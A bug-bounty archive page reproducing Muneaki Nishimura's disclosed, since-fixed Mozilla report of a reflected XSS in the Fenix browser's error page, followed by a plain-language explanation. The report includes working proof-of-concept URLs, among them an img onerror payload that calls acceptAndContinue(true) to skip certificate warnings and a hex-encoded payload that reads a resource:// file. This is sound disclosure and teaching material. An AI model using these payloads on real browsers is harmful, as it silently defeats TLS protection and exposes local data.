Skip to content
XSS Disclosed report Intermediate

HTTPS certificate verification bypass with reflected XSS in error page(s) in Fenix

The error page in Fenix reflected unsanitised query string input into innerHTML, allowing script execution. An attacker could craft a link that automatically accepts invalid TLS certificates and reads local resources.

Muneaki Nishimura Follow

Originally disclosed on Mozilla

  • Fixed in 6 days
  • Paid in 21 days
  • Disclosed after 6 days
Text
Created attachment 9167818
get_installed_path_result.png

Error page in Fenix has reflected XSS bugs (caused by following innerHTMLs).
https://github.com/mozilla-mobile/android-components/blob/4636ab1f66ca6ba976c16d7f16a4acd15fd6d1e3/components/browser/errorpages/src/main/assets/errorPageScripts.js#L23

By using this XSS, attacker can make victim to bypass certificate error without any interaction.

For example, the following page shows bad cerfiticate error.
https://self-signed.badssl.com/

But you can open the page if you append `?%3Cimg%20src%3D%23%20onerror%3DacceptAndContinue(true)%3E` in the querystring.
https://self-signed.badssl.com/?%3Cimg%20src%3D%23%20onerror%3DacceptAndContinue(true)%3E

Simply utilise this technique for any invalid certificate hosts as well.
https://untrusted-root.badssl.com?%3Cimg%20src%3D%23%20onerror%3DacceptAndContinue(true)%3E
https://expired.badssl.com?%3Cimg%20src%3D%23%20onerror%3DacceptAndContinue(true)%3E

Additionally, this XSS works on `resource:` origin, so attacker can retriece other sensitive resources from other resources.
The following demo retrieves application installed path of Fenix through resource://android (see also the attached image).
The installed path is randomized by Android, so usually any user cannot get where APK is installed, but this bug can do this.
https://pinning-test.badssl.com/?%3c%69%6d%67%20%73%72%63%3d%23%20%6f%6e%65%72%72%6f%72%3d%22%64%6f%63%75%6d%65%6e%74%2e%62%6f%64%79%2e%69%6e%6e%65%72%48%54%4d%4c%3d%60%3c%69%66%72%61%6d%65%20%69%64%3d%27%66%27%20%73%72%63%3d%27%72%65%73%6f%75%72%63%65%3a%2f%2f%61%6e%64%72%6f%69%64%2f%41%6e%64%72%6f%69%64%4d%61%6e%69%66%65%73%74%2e%78%6d%6c%27%20%6f%6e%6c%6f%61%64%3d%27%61%6c%65%72%74%28%74%68%69%73%2e%63%6f%6e%74%65%6e%74%57%69%6e%64%6f%77%2e%64%6f%63%75%6d%65%6e%74%2e%66%69%72%73%74%45%6c%65%6d%65%6e%74%43%68%69%6c%64%2e%66%69%72%73%74%43%68%69%6c%64%2e%64%61%74%61%29%27%3e%3c%2f%69%66%72%61%6d%65%3e%60%22%3e

The original report as published on Mozilla's Bugzilla, by Muneaki Nishimura. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could make a victim bypass a certificate warning without interaction and, because the XSS runs on a resource origin, read sensitive local resources such as the application install path.

What the attacker needed

Victim opens a crafted link; Fenix browser; invalid certificate host

How it was found

  1. Open a URL with an invalid certificate, such as a self-signed test site.
  2. Append a crafted query string containing an image tag with an onerror handler that calls acceptAndContinue(true).
  3. The error page reflects the query string into innerHTML, executing the handler.
  4. The handler accepts the certificate and the page loads without user interaction.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a website shows an error page, it sometimes copies part of the web address into the page without cleaning it. If that copied text is treated as code, an attacker can put a small script in the link. Here, that script could tell the browser to ignore a bad certificate and load the page anyway.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by Muneaki Nishimura

View all

74 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.